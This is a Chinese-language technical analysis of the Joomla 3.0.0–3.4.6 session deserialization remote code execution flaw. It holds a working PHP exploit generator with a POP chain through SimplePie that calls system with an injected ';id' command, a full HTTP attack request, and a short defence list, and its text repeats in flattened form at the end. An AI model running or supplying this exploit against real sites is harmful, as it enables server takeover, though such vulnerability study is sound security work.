Joomla3.0.0-3.4.6 RCE分析
字数 1231 2025-08-26 22:11:22

Joomla 3.0.0-3.4.6 远程代码执行漏洞分析与利用

漏洞概述

本漏洞存在于Joomla CMS 3.0.0至3.4.6版本中,是一个由于session反序列化处理不当导致的远程代码执行漏洞。攻击者可以通过精心构造的恶意session数据,在服务器上执行任意代码。

漏洞环境

  • PHP版本:5.5.9
  • Web服务器:Apache
  • 操作系统:Ubuntu 14.04.5 LTS
  • Joomla版本:3.4.6

漏洞原理分析

Session处理流程

  1. 初始化阶段

    • index.php中调用loadSession方法
    • 实例化JSessionStorageDatabase类(继承自JSessionStorage类)
    • 父类构造函数中使用session_set_save_handler函数处理session
  2. Session读写机制

    • 调用session_start()会依次触发openreadwriteclose等方法
    • session_set_save_handler中的$this指向JSessionStorageDatabase类对象
    • 用户登录失败时,Joomla会将登录数据存入session并重定向,触发write方法
    • 再次请求时,程序会从数据库读取session数据,触发read方法

关键漏洞点

漏洞存在于writeread方法中对chr(0)字符的处理:

function write($data) {
    return str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
}

问题在于:

  1. read函数处理后,54个字符长度的'\0'被替换为27个字符长度的chr(0).'*'.chr(0)
  2. 但序列化数据中的长度标识s:54保持不变
  3. 反序列化时会继续读取额外27个字符,导致序列化结构被破坏

漏洞验证示例

class Evil {
    public $cmd;
    public function __construct($cmd) {
        $this->cmd = $cmd;
    }
    public function __destruct() {
        system($this->cmd);
    }
}

class User {
    public $username;
    public $password;
    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }
}

$username = str_repeat('\0', 27);
$padding = '1234";s:3:"age";';
$shellcode = 'O:4:"Evil":1:{s:3:"cmd";s:2:"id";}';
$password = $padding . $shellcode;
$str = read(write(serialize(new User($username, $password))));
$obj = unserialize($str);

利用链分析

POP链构造

  1. 起始点JDatabaseDriverMysqli类的__destruct方法
  2. 关键类
    • SimplePie类(需要确保可导入)
    • JDatabaseDriverMysql
  3. 利用点
    • SimplePie->cache_name_function属性可被控制为任意函数名
    • SimplePie->feed_url属性作为函数参数

利用限制

  1. SimplePie类需要能够被导入
  2. SimplePie->feed_url需要满足特定校验
  3. PHP版本限制(高版本如5.6.40无法利用成功)

漏洞利用

EXP构造

class JSimplepieFactory {}
class JDatabaseDriverMysql {}

class SimplePie {
    var $feed_url;
    var $cache;
    var $sanitize;
    var $cache_name_function;
    
    public function __construct($feed_url, $cache, $sanitize, $cache_name_function) {
        $this->feed_url = $feed_url;
        $this->cache = $cache;
        $this->sanitize = $sanitize;
        $this->cache_name_function = $cache_name_function;
    }
}

class JDatabaseDriverMysqli {
    protected $obj;
    protected $connection;
    protected $disconnectHandlers = array();
    
    public function __construct($obj, $connection, $disconnectHandlers) {
        $this->obj = $obj;
        $this->connection = $connection;
        $this->disconnectHandlers = $disconnectHandlers;
    }
}

$function = 'system';
$argument = 'http://www.baidu.com;id';
$simplepie = new SimplePie($argument, true, new JDatabaseDriverMysql(), $function);
$jdatabasedrivermysqli = new JDatabaseDriverMysqli(new JSimplepieFactory(), true, array(array($simplepie, 'init')));
echo urlencode(serialize($jdatabasedrivermysqli));

攻击请求示例

POST /Joomla/ HTTP/1.1
Host: 0.0.0.0:8000
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: XDEBUG_SESSION=PHPSTORM; 17511585a4996c48455fa590ab8d4d24=58c7q9ocb6n3q0tjj7m0s3g3i6
Content-Length: 737

CSRF-Token值=1&task=user.login&option=com_users&username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=AAA";s:3:"233":序列化payload

防御措施

  1. 升级Joomla到最新版本
  2. 升级PHP到较新版本(注意高版本PHP已修复此问题)
  3. 对session数据进行严格验证
  4. 实现安全的session序列化/反序列化机制

总结

该漏洞利用Joomla对session数据中空字符处理不当的特性,通过精心构造的恶意序列化数据实现远程代码执行。理解该漏洞需要对PHP的session处理机制、序列化/反序列化过程以及Joomla的架构有深入认识。

Joomla 3.0.0-3.4.6 远程代码执行漏洞分析与利用 漏洞概述 本漏洞存在于Joomla CMS 3.0.0至3.4.6版本中,是一个由于session反序列化处理不当导致的远程代码执行漏洞。攻击者可以通过精心构造的恶意session数据,在服务器上执行任意代码。 漏洞环境 PHP版本:5.5.9 Web服务器:Apache 操作系统:Ubuntu 14.04.5 LTS Joomla版本:3.4.6 漏洞原理分析 Session处理流程 初始化阶段 : 在 index.php 中调用 loadSession 方法 实例化 JSessionStorageDatabase 类(继承自 JSessionStorage 类) 父类构造函数中使用 session_set_save_handler 函数处理session Session读写机制 : 调用 session_start() 会依次触发 open 、 read 、 write 、 close 等方法 session_set_save_handler 中的 $this 指向 JSessionStorageDatabase 类对象 用户登录失败时,Joomla会将登录数据存入session并重定向,触发 write 方法 再次请求时,程序会从数据库读取session数据,触发 read 方法 关键漏洞点 漏洞存在于 write 和 read 方法中对 chr(0) 字符的处理: 问题在于: read 函数处理后,54个字符长度的 '\0' 被替换为27个字符长度的 chr(0).'*'.chr(0) 但序列化数据中的长度标识 s:54 保持不变 反序列化时会继续读取额外27个字符,导致序列化结构被破坏 漏洞验证示例 利用链分析 POP链构造 起始点 : JDatabaseDriverMysqli 类的 __destruct 方法 关键类 : SimplePie 类(需要确保可导入) JDatabaseDriverMysql 类 利用点 : SimplePie->cache_name_function 属性可被控制为任意函数名 SimplePie->feed_url 属性作为函数参数 利用限制 SimplePie 类需要能够被导入 SimplePie->feed_url 需要满足特定校验 PHP版本限制(高版本如5.6.40无法利用成功) 漏洞利用 EXP构造 攻击请求示例 防御措施 升级Joomla到最新版本 升级PHP到较新版本(注意高版本PHP已修复此问题) 对session数据进行严格验证 实现安全的session序列化/反序列化机制 总结 该漏洞利用Joomla对session数据中空字符处理不当的特性,通过精心构造的恶意序列化数据实现远程代码执行。理解该漏洞需要对PHP的session处理机制、序列化/反序列化过程以及Joomla的架构有深入认识。